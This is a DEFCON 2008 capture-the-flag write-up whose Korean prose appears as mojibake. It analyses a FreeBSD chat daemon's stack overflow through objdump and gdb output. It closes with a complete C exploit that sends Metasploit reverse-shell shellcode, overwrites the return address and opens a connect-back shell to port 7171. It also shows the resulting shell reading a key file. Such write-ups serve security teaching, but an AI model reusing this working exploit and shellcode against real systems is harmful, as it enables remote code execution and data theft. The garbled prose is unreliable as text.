---------------------------------------------------------------- DEFCON 2008 Capture The Flag º»¼± ¹®Á¦ Ç®ÀÌ - bakalakadakaChat_d by hkpco(¹ÚÂù¾Ï) =============================== mail - chanam.park@hkpco.kr homepage - http://hkpco.kr/ date - 2008. 08. 17 =============================== ---------------------------------------------------------------- [Ready]. Àâ´ã DEFCON 2008 Capture The Flag°¡ ³¡³µ´Ù. ´Ù¸¥ ÆÀµéº¸´Ù ¸ÕÀú Ǭ ¹®Á¦µéµµ ¸¹¾ÒÀ¸¸ç ´õ ÁÁÀº ¼ºÀûÀ» ³¾ ¼öµµ ÀÖ¾úÁö¸¸ Steals, Overwrites Á¡¼öÀÇ °£°ú, ´ëȸÃøÀÇ ½Ç¼ö, ¹®Á¦ ¼­¹öÀÇ ºÎÀç µîÀ¸·Î ÀÎÇÏ¿© Èûµé¾ú´Ù. ´ëȸ´ç½Ã °¡Àå ¸ÕÀú Breakthroughs Á¡¼ö¸¦ ȹµæÇÑ ¹®Á¦¸¦ º» ¹®¼­ÀÇ Ç®ÀÌ ´ë»óÀ¸·Î µÎ¾ú´Ù. ³»°¡ µ¥ÇÁÄÜ º»¼± ¹®Á¦ÀÇ Ç®À̸¦ ½á¼­ °ø°³ÇÏ´Â ÀÌÀ¯´Â, ¿©·¯°¡Áö »çÁ¤ ¶§¹®¿¡ º»¼±¿¡ Á÷Á¢ Âü°¡ÇÏÁö ¸øÇÑ »ç¶÷µé¿¡°Ô °£Á¢ÀûÀ¸·Î³ª¸¶ °æÇèÀ» ÁÖ°í ½ÍÀº°Í°ú, ¼¼°èÀûÀÎ ´ëȸ¶ó°í Çؼ­ °áÄÚ ¾î·ÆÁö¸¸Àº ¾Ê´Ù´Â °ÍÀ» º¸¿©ÁÖ°í ½Í¾î¼­ÀÌ´Ù. ¶§¹®¿¡ ¹®Á¦ ¼öÁØÀ» °í·ÁÇÏ¿© Ç®ÀÌ ´ë»óÀ» ¼±ÅÃÇßÁö¸¸ ¾Æ¹«Æ°, ÈÄÀÚÀÇ °æ¿ì¸¦ ´Ù½Ã ¸»ÇÏÀÚ¸é ÀÏÁ¾ÀÇ Capture The Flag¿¡ ´ëÇÑ °íÁ¤°ü³äÀ» ¾ø¾Ö°í ÀڽۨÀ» ¾òÀ» ¼ö ÀÖµµ·Ï µµ¿ÍÁÖ°í ½ÍÀº ¸¶À½¿¡ ¹®¼­ ÀÛ¼ºÀ» °á½ÉÇÏ¿´´Ù. [Go]. bakalakadakaChat_d ¹®Á¦ Ç®ÀÌ º»°ÝÀûÀÎ ºÐ¼® ÀÌÀü¿¡ file ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© ¹ÙÀ̳ʸ®ÀÇ ¸î °¡Áö ±âº»ÀûÀÎ Á¤º¸¸¦ »ìÆì º¸°Ú´Ù. ---------- [hkpco@localhost hk]$ file bakalakadakaChat_d bakalakadakaChat_d: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 6.3, stripped ---------- FreeBSD 6.3 ¹ÙÀ̳ʸ®À̸ç, µ¿Àû ¶óÀ̺귯¸®ÀÌ°í µð¹ö±ë °ü·Ã Á¤º¸´Â »èÁ¦µÈ °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ÀÌÁ¦ disassemble Äڵ带 ÅëÇÑ ºÐ¼®¿¡ µé¾î°¡º¸ÀÚ. º» ¹®¼­¿¡¼­´Â disassemble Äڵ带 objdump °á°ú¿¡ ´ëÇÑ °ÍÀ¸·Î ÅëÀÏÇÏ°Ú´Ù. Âü°í·Î ³ª´Â ºÐ¼®½Ã ÁÖ·Î [gdb & objdump & ida]ÀÇ Á¶ÇÕÀ» Áñ°ÜÇÑ´Ù. Ãʱ⠼³Á¤À» ¼öÇàÇÏ´Â °ÍÀ¸·Î º¸ÀÌ´Â 0x8049ccc ÁÖ¼ÒÀÇ ÇÔ¼öºÎÅÍ »ìÆ캸ÀÚ. ´ÙÀ½Àº ¼ÒÄÏÀ» »ý¼ºÇÏ´Â »ç¿ëÀÚ ÇÔ¼öÀÇ È£Ãâ ÄÚµåÀ̸ç Æ÷Æ® ¹øÈ£¸¦ ÀÎÀÚ·Î ÁÖ°íÀÖ´Ù. ---------- 8049cef: 83 ec 0c sub $0xc,%esp 8049cf2: 68 19 3d 00 00 push $0x3d19 8049cf7: e8 7c f3 ff ff call 8049078 8049cfc: 83 c4 10 add $0x10,%esp ---------- Æ÷Æ® ¹øÈ£´Â 16Áø¼ö·Î 0x3d19À̸ç À̸¦ 10Áø¼ö·Î ³ªÅ¸³»¸é 15641°¡ µÈ´Ù. À§ Äڵ忡¼­ È£ÃâµÇ´Â ÇÔ¼ö´Â ¼ÒÄÏ ÇÁ·Î±×·¡¹Ö ½Ã °ÅÄ¡´Â ´Ù¼Ò Á¤±ÔÈ­µÈ ·çƾÀ̹ǷΠ»ó¼¼ÇÑ ºÐ¼®Àº »ý·«ÇÏ°Ú´Ù. °è¼ÓÇؼ­ ºÐ¼®Çϱâ Àü¿¡ ¹æ±Ý ±¸ÇÑ Æ÷Æ®¹øÈ£·Î Á¢¼ÓÇÏ¿© ¼­¹öÀÇ °£´ÜÇÑ ÇÁ·ÎÅäÄÝÀ» ÀÍÇôº¸¾Ò´Ù. ---------- [hkpco@localhost ~]$ telnet 192.168.40.131 15641 Trying 192.168.40.131... Connected to 192.168.40.131. Escape character is '^]'. Enter Username: hkpco ****************************************** Durka, Durka, Welcome to Jihad cafe type help for list of available commands ****************************************** Chatters in room: hkpco // »ç¿ëÀÚ À̸§ ÀÔ·Â :> hi hkpco says: hi // "hi" ¸Þ½ÃÁö ÀÔ·Â :> help available commands: quit who help // "help" ¸í·É ÀÔ·Â :> who users in room: hkpco // "who" ¸í·É ÀÔ·Â :> quit hkpco says: Screw you guys I'm going home! :> Connection closed by foreign host. // "quit" ¸í·É ÀÔ·Â, Á¢¼Ó Á¾·á. ---------- Á÷Á¢ Å×½ºÆ® ÇØ º¸¸é netcatÀ̳ª ¼ÒÄÏ ÇÁ·Î±×·¡¹Ö µîÀ» ÀÌ¿ëÇÑ ¹æ¹ýÀ¸·Î´Â µ¥ÀÌÅ͸¦ ÁÖ°í ¹ÞÀ» ¼ö ¾øÀ¸¸ç ÀÌ´Â telnetÀ» ÀÌ¿ëÇÏ¸é °¡´ÉÇÑ °ÍÀ» ¾Ë ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¿©±â¿¡ ´ëÇÑ ÀÌÀ¯´Â ³ªÁß¿¡ »ìÆ캸µµ·Ï ÇÏ°í ºÐ¼®À» °è¼ÓÇØ º¸ÀÚ. ´ÙÀ½Àº daemon() ÇÔ¼ö¸¦ È£ÃâÇÏ´Â ÄÚµåÀ̸ç À̸¦ ÅëÇØ ¹®Á¦ ¼­¹ö´Â µ¥¸ó ȯ°æ¿¡¼­ ±¸µ¿µÈ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ---------- 8049d20: 83 ec 08 sub $0x8,%esp 8049d23: 6a 00 push $0x0 8049d25: 6a 00 push $0x0 8049d27: e8 88 ef ff ff call 8048cb4 8049d2c: 83 c4 10 add $0x10,%esp // daemon( 0, 0 ); ---------- Á¶±Ý ¾Æ·¡ÀÇ Äڵ带 º¸¸é pthread mutexÀÇ ÃʱâÈ­ °úÁ¤ÀÌ ¼öÇàµÇ´Â°ÍÀ» º¼ ¼ö ÀÖ´Ù. ---------- 8049d7a: 83 ec 08 sub $0x8,%esp 8049d7d: 6a 00 push $0x0 8049d7f: ff 35 fc b0 04 08 pushl 0x804b0fc 8049d85: e8 3a ee ff ff call 8048bc4 8049d8a: 83 c4 10 add $0x10,%esp // pthread_mutex_t *mutex; // pthread_mutex_init( &mutex, NULL ); ---------- °è¼ÓÇؼ­ ´ÙÀ½ ÄÚµå´Â º»°ÝÀûÀÎ ÇÁ·Î±×·¥ÀÇ ·çƾÀ» ¼öÇàÇϱâ À§ÇØ È£ÃâµÇ´Â ºÎºÐÀÌ´Ù. ---------- 8049d8d: 83 ec 08 sub $0x8,%esp 8049d90: 68 14 99 04 08 push $0x8049914 8049d95: ff 75 fc pushl -0x4(%ebp) 8049d98: e8 3b f4 ff ff call 80491d8 8049d9d: 83 c4 10 add $0x10,%esp ---------- 80491d8 ÁÖ¼ÒÀÇ ÇÔ¼ö°¡ È£ÃâµÇ¸ç ÁÖ¿ä ·çƾÀº ´ÙÀ½°ú °°´Ù. ---------- . . 80491ec: 83 ec 04 sub $0x4,%esp 80491ef: 8d 45 ec lea -0x14(%ebp),%eax 80491f2: 50 push %eax 80491f3: 8d 45 d8 lea -0x28(%ebp),%eax 80491f6: 50 push %eax 80491f7: ff 75 08 pushl 0x8(%ebp) 80491fa: e8 35 fa ff ff call 8048c34 80491ff: 83 c4 10 add $0x10,%esp 8049202: 89 45 f4 mov %eax,-0xc(%ebp) // cli_sock = accept( ... ); 8049205: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 8049209: 75 02 jne 804920d . . /* cli_sockÀÇ °ªÀÌ -1ÀÌ ¾Æ´Ï¸é(Áï, accpet ÇÔ¼ö°¡ ¼º°øÇϸé) */ 804920d: ff 75 f4 pushl -0xc(%ebp) 8049210: ff 75 0c pushl 0xc(%ebp) 8049213: 6a 00 push $0x0 8049215: 8d 45 f0 lea -0x10(%ebp),%eax 8049218: 50 push %eax 8049219: e8 76 f8 ff ff call 8048a94 804921e: 83 c4 10 add $0x10,%esp // pthread_create( %eax, 0x0, 0xc(%ebp), -0xc(%ebp) ); 8049221: eb c9 jmp 80491ec // accept() ÇÔ¼ö·Î Á¡ÇÁ ---------- Ŭ¶óÀ̾ðÆ®ÀÇ Á¢¼ÓÀ» ¹ÞÀº µÚ pthread_create() ÇÔ¼ö¸¦ ÅëÇÏ¿© ÇØ´ç Ŭ¶óÀ̾ðÆ®¸¦ À§ÇÑ »õ·Î¿î ½º·¹µå¸¦ »ý¼ºÇÑ´Ù. ÀÌ ¶§ 0xc(%ebp)¿¡ ÇØ´çÇÏ´Â ÇÔ¼ö¸¦ ½ÇÇàÇϴµ¥, ÀÌ´Â 0x80491d8 ÇÔ¼ö°¡ È£ÃâµÉ ´ç½Ã µÎ ¹ø° ÀÎÀÚÀÎ 0x8049914¸¦ ÀǹÌÇÑ´Ù. ÀÌ°ÍÀ¸·Î Ŭ¶óÀ̾ðÆ®°¡ Á¢¼ÓÇÑ µÚ¿¡ ¼öÇàµÇ´Â ·çƾÀº 0x8049914 ¶ó´Â°ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ÇØ´ç ·çƾ¿¡¼­ À¯½ÉÈ÷ »ìÆìºÁ¾ß ÇÒ ºÎºÐÀº ´ÙÀ½°ú °°´Ù. ---------- 8049914: 55 push %ebp 8049915: 89 e5 mov %esp,%ebp 8049917: 81 ec 28 05 00 00 sub $0x528,%esp 804991d: 8d 95 f8 fe ff ff lea -0x108(%ebp),%edx . . 8049975: 83 ec 08 sub $0x8,%esp 8049978: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 804997e: 50 push %eax 804997f: ff 75 08 pushl 0x8(%ebp) 8049982: e8 7d fe ff ff call 8049804 8049987: 83 c4 10 add $0x10,%esp // 8049804( cli_sock, -0x208(%ebp) ); . . . 80499fc: 6a 0d push $0xd 80499fe: 68 fe 01 00 00 push $0x1fe 8049a03: 8d 85 f8 fe ff ff lea -0x108(%ebp),%eax 8049a09: 50 push %eax 8049a0a: ff 75 08 pushl 0x8(%ebp) 8049a0d: e8 ce f4 ff ff call 8048ee0 8049a12: 83 c4 10 add $0x10,%esp // 8048ee0( cli_sock, -0x108(%ebp), 0x1fe, 0xd ); ---------- À§ Äڵ忡¼­ È£ÃâµÇ´Â ù ¹ø° ÇÔ¼öÀÎ 0x8049804´Â UsernameÀ» ÀԷ¹޴ ¿ªÇÒÀ» Çϸç Ưº°ÇÑ Ãë¾à¼ºÀº Á¸ÀçÇÏÁö ¾Ê´Â´Ù. µÎ ¹ø° ÇÔ¼öÀÎ 0x8048ee0´Â ¼ÒÄÏÀ¸·ÎºÎÅÍ µ¥ÀÌÅ͸¦ ¼ö½ÅÇÏ´Â ¿ªÇÒÀ» ÇÏ¸ç ¿©±â¼­´Â ¸í·ÉÀ̳ª ¸Þ½ÃÁö¸¦ ÀԷ¹ÞÀ» ¶§ »ç¿ëµÇ°í ÀÖ´Ù. ÇØ´ç ÇÔ¼öÀÇ ·çƾÀº ´Ù¼Ò Á¤±ÔÈ­ µÈ ÄÚµåÀ̹ǷΠ»ó¼¼ÇÑ ºÐ¼®Àº »ý·«ÇÏ°Ú´Ù. 0x8048ee0 ÇÔ¼ö¿¡ ´ëÇÑ °¢ ÀÎÀÚÀÇ ¿ªÇÒÀ» ³ªÅ¸³»¾î º¸¸é ´ÙÀ½°ú °°´Ù. ========== 0x8048ee0 function argument 1 = µ¥ÀÌÅ͸¦ ¼ö½ÅÇÒ ¼ÒÄÏ argument 2 = µ¥ÀÌÅ͸¦ ÀúÀåÇÒ ¹öÆÛ argument 3 = µ¥ÀÌÅÍÀÇ ÃÖ´ë Çã¿ë ±æÀÌ argument 4 = ÇØ´ç °ªÀÌ ³ª¿Ã¶§ ±îÁö ÀÔ·Â ========== ¼­¹ö¿¡¼­ Å×½ºÆ® ÇßÀ» ´ç½Ã netcat ȤÀº ¼ÒÄÏ ÇÁ·Î±×·¡¹ÖÀ» ÀÌ¿ëÇÑ µ¥ÀÌÅÍ ¼Û¼ö½ÅÀÌ µÇÁö ¾ÊÀº ÀÌÀ¯´Â ¹Ù·Î ¿©±â¿¡ ÀÖ´Ù. ³× ¹ø° ÀÎÀÚ¿¡ ÇØ´çÇÏ´Â 0xd ¹®ÀÚ°¡ ³ª¿Ã ¶§ ±îÁö ÀÔ·ÂÀ» ¹Þ±â ¶§¹®¿¡ µ¥ÀÌÅÍ ³¡¿¡ Ç×»ó "\x0d\x0a"°¡ Ãß°¡µÇ´Â telnet°ú´Â ´Þ¸® netcatÀ̳ª ¼ÒÄÏ ÇÁ·Î±×·¡¹ÖÀ¸·Î´Â µ¥ÀÌÅ͸¦ Àü¼ÛÇصµ º°´Ù¸¥ ¹ÝÀÀÀÌ ¾ø¾ú´ø °ÍÀÌ´Ù. ÇÔ¼öÀÇ ¿ªÇÒÀ» ´Ù½Ã Àû¿ëÇÏ¿© Àç Çؼ®ÇØ º¸¸é, -0x108(%ebp) ¹öÆÛ¿¡ ÃÖ´ë 0x1fe Å©±â¸¸Å­ 0xd ¹®ÀÚ°¡ ³ª¿Ã ¶§ ±îÁö ÀÔ·ÂÀ» ¹Þ´Â´Ù. ÀÌ´Â ¹öÆÛÀÇ Å©±â°¡ 0x108(16Áø¼ö)ÀÎ °Í¿¡ ¹ÝÇÏ¿© ÀÔ·ÂÀ» ¹Þ´Â Å©±â´Â 0x1fe À̱⠶§¹®¿¡ ½ÊÁø¼ö·Î ³ªÅ¸³»¸é ÃÑ 246byte ¸¸Å­ÀÇ ¿À¹öÇ÷ο찡 ÀϾ°Ô µÈ´Ù. ±×·¯¸é ÀÌÁ¦ ¹öÆÛ¿¡ ¿ì¸®°¡ ¼öÇàÇϱ⸦ ¿øÇÏ´Â ±â°è¾î Äڵ带 ÀúÀåÇÏ°í eip¸¦ ÇØ´ç ½ÃÀÛ ÁÖ¼Ò·Î µ¤¾î ¾º¿ì¸é °ø°ÝÀÌ ¼º°øÇÒ °ÍÀÌ´Ù. ±×·±µ¥ ¿©±â¼­ ÇÑ °¡Áö ¹®Á¦Á¡ÀÌ Àִµ¥, ¹®Á¦ ¹ÙÀ̳ʸ®´Â Ŭ¶óÀ̾ðÆ®ÀÇ Á¢¼Ó ´ç½Ã ÀÚ½Ä ÇÁ·Î¼¼½º°¡ ¾Æ´Ñ »õ·Î¿î ½º·¹µå¸¦ »ý¼ºÇÏ¿© ·çƾÀ» ¼öÇàÇÏ´Â µ¥¸ó ÇÁ·Î±×·¥À̱⠶§¹®¿¡ °ø°ÝÀÌ Çѹø¿¡ ¼º°øÇÏÁö ¸øÇÏ¸é µ¥¸óÀÌ Á×¾î¹ö¸°´Ù. µû¶ó¼­ Brute force°¡ ¾Æ´Ñ Á¤È®ÇÑ ÁÖ¼Ò °ª ÁöÁ¤ÀÌ ÇÊ¿äÇÏ°Ô µÈ´Ù. ¿ì¼± °ø°ÝÀ» À§ÇÑ ÆäÀ̷ε带 °£´ÜÈ÷ ±¸¼ºÇØ º¸¾Ò´Ù. ---------- Username - ¸®¹ö½º ÅÚ³Ý ½© ÄÚµå :>(command) - ¾²·¹±â °ª + Username ¹öÆÛÀÇ ½ÃÀÛÁÖ¼Ò ---------- ÀÌÁ¦ µð¹ö±ëÀ» ÅëÇÏ¿© UsernameÀ» ÀúÀåÇÏ´Â ¹öÆÛÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ³½ ´ÙÀ½ eip¿¡ µ¤¾î¾º¿ì¸é °ø°ÝÀÌ ¼º°øÇÒ °ÍÀÌ´Ù. ¿ì¼± ¹ÙÀ̳ʸ®¸¦ ½ÇÇà½ÃŲ µÚ gdb¸¦ ÀÌ¿ëÇÏ¿© ÇÁ·Î¼¼½º¸¦ attach ÇÏ¿´´Ù. ---------- # ./bakalakadakaChat_d # ps -aux | grep baka durka 1167 0.0 0.9 1512 1104 ?? Ss 12:38PM 0:00.00 ./bakalakadakaChat_d # gdb -q ./bakalakadakaChat_d 1167 (no debugging symbols found)...Attaching to program: /root/hk/bakalakadakaChat_d, process 1167 Reading symbols from /lib/libpthread.so.2...(no debugging symbols found)...done. warning: Unable to get location for thread creation breakpoint: generic error [New LWP 100064] Loaded symbols for /lib/libpthread.so.2 Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done. Loaded symbols for /libexec/ld-elf.so.1 [Switching to LWP 100064] 0x2810a70d in accept () from /lib/libc.so.6 (gdb) info thread * 1 LWP 100064 0x2810a70d in accept () from /lib/libc.so.6 ---------- ÇÁ·Î±×·¥ ½ÃÀÛ Á÷ÈÄ ¾î¶°ÇÑ Á¢¼Óµµ ÇÏÁö ¾Ê¾Ò±â ¶§¹®¿¡ Á¢¼ÓÀ» ´ë±âÇÏ´Â ½º·¹µå´Â Çϳª¸¸ Á¸ÀçÇÏ¿© µû·Î ÃßÀûÇÒ ½º·¹µå¸¦ ÁöÁ¤ÇØ ÁÖÁö ¾Ê¾Æµµ µÈ´Ù. ÀÌÁ¦ ¹öÆÛ ÁÖ¼Ò¸¦ È®ÀÎÇϱâ À§ÇÑ ºê·¹ÀÌÅ© Æ÷ÀÎÆ®ÀÇ À§Ä¡¸¦ ÁöÁ¤Çϱâ À§ÇØ ´ÙÀ½ Äڵ带 »ìÆ캸ÀÚ. ---------- 8049975: 83 ec 08 sub $0x8,%esp 8049978: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 804997e: 50 push %eax 804997f: ff 75 08 pushl 0x8(%ebp) -> 8049982: e8 7d fe ff ff call 8049804 -> 8049987: 83 c4 10 add $0x10,%esp ---------- 8049804 ÇÔ¼ö ³»ºÎ ·çƾ 804987e: 6a 0d push $0xd 8049880: 68 ff 00 00 00 push $0xff 8049885: ff 75 0c pushl 0xc(%ebp) 8049888: ff 75 08 pushl 0x8(%ebp) 804988b: e8 50 f6 ff ff call 8048ee0 8049890: 83 c4 10 add $0x10,%esp // 2 ¹ø° ÀÎÀÚ(-0x208(%ebp))¿¡ 255byte ¸¸Å­ ÀԷ¹޴ ÇÔ¼ö ---------- UsernameÀ» ÀԷ¹޴ ·çƾÀ̸ç 0x8049804 ÇÔ¼ö È£Ã⠽à µÎ ¹ø° ÀÎÀÚ¿¡ µ¥ÀÌÅÍ°¡ ÀúÀåµÈ´Ù. ±×·¯¹Ç·Î 0x8049982, 0x8049987¿¡ °¢°¢ ºê·¹ÀÌÅ© Æ÷ÀÎÆ®¸¦ ¼³Á¤ÇÏ¿© 0x8049982¿¡¼­ ¹öÆÛÀÇ ÁÖ¼Ò¸¦ È®ÀÎÇÏ°í, ÀÔ·ÂÀÌ ¼öÇàµÈ µÚ 0x8049987¿¡¼­ µ¥ÀÌÅÍ°¡ Á¤»óÀûÀ¸·Î ÀÔ·ÂÀÌ µÇ¾ú´ÂÁö¸¦ È®ÀÎÇÏ¿© ÃÖÁ¾ÀûÀ¸·Î ¹öÆÛÀÇ ÁÖ¼Ò¸¦ È®Á¤ ÁöÀ»°ÍÀÌ´Ù. ---------- terminal_1 ---------- (gdb) b *0x08049982 Breakpoint 1 at 0x8049982 (gdb) b *0x08049987 Breakpoint 2 at 0x8049987 (gdb) c Continuing. [New Thread 0x8055600 (LWP 100076)] [Switching to Thread 0x8055600 (LWP 100076)] Breakpoint 1, 0x08049982 in ?? () (gdb) x/x $eax 0xbf8fddb0: 0x00000000 // -0x208(%ebp)ÀÇ ½ÃÀÛ ÁÖ¼Ò (gdb) c Continuing. Breakpoint 2, 0x08049987 in ?? () (gdb) x/s 0xbf8fddb0 0xbf8fddb0: "hkpco" // ÀÔ·ÂÇÑ µ¥ÀÌÅÍ°¡ ¹öÆÛ¿¡ Á¤»óÀûÀ¸·Î ÀúÀå µÊ ---------- ---------- terminal_2 ---------- [hkpco@localhost ~]$ telnet 192.168.40.131 15641 Trying 192.168.40.131... Connected to 192.168.40.131. Escape character is '^]'. Enter Username: hkpco ---------- µð¹ö±ëÀ» ÅëÇÏ¿© UsernameÀÇ ÀÔ·Â °ªÀ» ÀúÀåÇÏ´Â ¹öÆÛÀÇ ½ÃÀÛ ÁÖ¼Ò´Â 0xbf8fddb0 ¶ó´Â°ÍÀ» ¾Ë ¼ö ÀÖÀ¸¸ç ÇØ´ç °ø°£¿¡ ±â°è¾î Äڵ带 »ðÀÔÇÑ µÚ µÎ ¹ø° ÀԷ¿¡¼­ eip¿¡ 0xbf8fddb0 ÁÖ¼Ò¸¦ µ¤¾î ¾º¿ì¸é ¿øÇÏ´Â Äڵ带 ½ÇÇàÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ÃÖÁ¾ÀûÀÎ ÆäÀ̷ε带 ±¸¼ºÇØ º¸¸é ´ÙÀ½°ú °°´Ù. ------- Username - ½ÇÇàÀ» ¿øÇÏ´Â ½© ÄÚµå(255byte ÀÌÇÏ, 0x0d Á¦°Å) :>(command) - dummy(264 + 4) + 0xbf8fddb0 ------- command¿¡¼­ÀÇ ÀÔ·ÂÀº ¹öÆÛ°¡ -0x108(%ebp)À̱⠶§¹®¿¡ 264(16Áø¼ö 0x108) + 4(ebp)¸¦ ¾²·¹±â ÄÚµå·Î ÀÔ·ÂÇÏ°í return address¸¦ UsernameÀÇ ½ÃÀÛ ÁÖ¼Ò·Î µ¤¾î ¾º¿ì´Â °ÍÀÌ´Ù. ÁÖÀÇÇÒ Á¡Àº µ¥¸ó ÇÁ·Î±×·¥ÀÌ 0x0d¸¦ ÀÔ·ÂÀÇ ³¡À¸·Î º¸±â ¶§¹®¿¡ ±â°è¾î Äڵ忡¼­ 0x0d ¹®ÀÚ¸¦ Á¦°ÅÇØ¾ß ÇÑ´Ù. ´ÙÀ½Àº ÀÌ·¸°Ô Á¦ÀÛÇÑ ÀͽºÇ÷ÎÀÕÀ» ÀÌ¿ëÇÏ¿© °ø°ÝÇÏ´Â ¸ð½ÀÀÌ´Ù. ========== Terminal 1 ========== [hkpco@localhost hk]$ gcc -o baka_exp baka_exp.c [hkpco@localhost hk]$ ./baka_exp 192.168.40.131 15641 1: Enter Username: 2: ****************************************** 3: Durka, Durka, Welcome to Jihad cafe type help for list of available commands ****************************************** Chatters in room: 1?éïÙî?$? :> dummy size: 268 ret size: 4 total size: 274 ========== ========== Terminal 2 ========== # nc -l 7171 id uid=1021(durka) gid=1021(durka) groups=1021(durka) cat /home/durka/key 503ac0893e919996ad9204cb2054a8d2031b ========== ¼º°øÀûÀ¸·Î °ø°ÝÀÌ ¼öÇàµÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. [Bonus]. ÀͽºÇ÷ÎÀÕ Ã·ºÎ - baka_exp.c - /* bakalakadakaChat_d eXploit by hkpco hkpco@korea.com http://hkpco.kr/ */ #include #include #include #include #include #include #include #include #include #define RET 0xbf8fddb0 int sock_conn( char **argv ); int inline err( char *msg ); int main( int argc , char **argv ) { int sockfd; char buffer[1024] = {0x00,}; char dummy[1024] = {0x00,}; char ret[5] = {0x00,}; char go[4096] = {0x00,}; /* bsd_ia32_reverse - LHOST=192.168.40.131 LPORT=7171 Size=92 Encoder=PexFnstenvSub http://metasploit.com */ char scode[] = "\x31\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x82" "\xc8\x61\x9d\x83\xeb\xfc\xe2\xf4\xe8\xa9\x39\x04\xd0\x8a\x33\xdf" "\xd0\xa0\xa1\x35\xaa\x4b\xac\x1d\xea\xd8\x63\x81\x81\x41\x80\xf7" "\x92\x99\x31\xcc\x15\xa2\x03\xc5\x4f\x48\x0b\x9f\xdb\x78\x3b\xcc" "\xd5\x99\xac\x1d\xcb\xb1\x97\xcd\xea\xe7\x4e\xee\xea\xa0\x4e\xff" "\xeb\xa6\xe8\x7e\xd2\x9c\x32\xce\x32\xf3\xac\x1d"; if( argc < 3 ) { fprintf( stderr, "%s [server] [port]\n", argv[0] ); return -1; } sockfd = sock_conn( argv ); printf( "\n\n\n" ); read( sockfd, buffer, sizeof(buffer) ); printf( "1: %s\n", buffer ); memset( buffer, 0x0, sizeof(buffer) ); snprintf( buffer, sizeof(buffer) -1, "%s\x0d\x0a", scode ); write( sockfd, buffer, strlen(buffer) ); // REVERSE SHELLCODE SEND memset( buffer, 0x0, sizeof(buffer) ); read( sockfd, buffer, sizeof(buffer) ); printf( "2: %s\n", buffer ); memset( buffer, 0x0, sizeof(buffer) ); read( sockfd, buffer, sizeof(buffer) ); printf( "3: %s\n", buffer ); memset( buffer, 0x0, sizeof(buffer) ); /* attack code */ memset( dummy, 0x0, sizeof(dummy) ); memset( dummy, 0x41, 264 +4 ); memcpy( dummy, scode, strlen(scode) ); memcpy( dummy, "\x90\x90\x90\x90", 4 ); memset( ret, 0x0, sizeof(ret) ); ret[0] = (RET >> 0) & 0xff; ret[1] = (RET >> 8) & 0xff; ret[2] = (RET >> 16) & 0xff; ret[3] = (RET >> 24) & 0xff; printf( "dummy size: %d\n", strlen(dummy) ); printf( "ret size: %d\n", strlen(ret) ); memset( go, 0x0, sizeof(go) ); snprintf( go, sizeof(go) -1, "%s%s\x0d\x0a", dummy, ret ); printf( "total size: %d\n", strlen(go) ); write( sockfd, go, strlen(go) ); // ATTACK CODE SEND close(sockfd); return 0; } int sock_conn( char **argv ) { int sockfd; struct sockaddr_in sock; struct hostent *host_st; sockfd = socket( PF_INET, SOCK_STREAM, 0 ); if( sockfd < 0 ) err( "socket()" ); host_st = gethostbyname( argv[1] ); if( host_st == NULL ) err( "gethostbyname()" ); bzero( sock.sin_zero, sizeof(sock.sin_zero) ); sock.sin_family = AF_INET; sock.sin_port = htons(atoi(argv[2])); sock.sin_addr = *((struct in_addr *)host_st->h_addr); if( connect( sockfd, (struct sockaddr *)&sock, sizeof(sock) ) < 0 ) err( "connect()" ); return sockfd; } int inline err( char *msg ) { perror(msg); exit(-1); }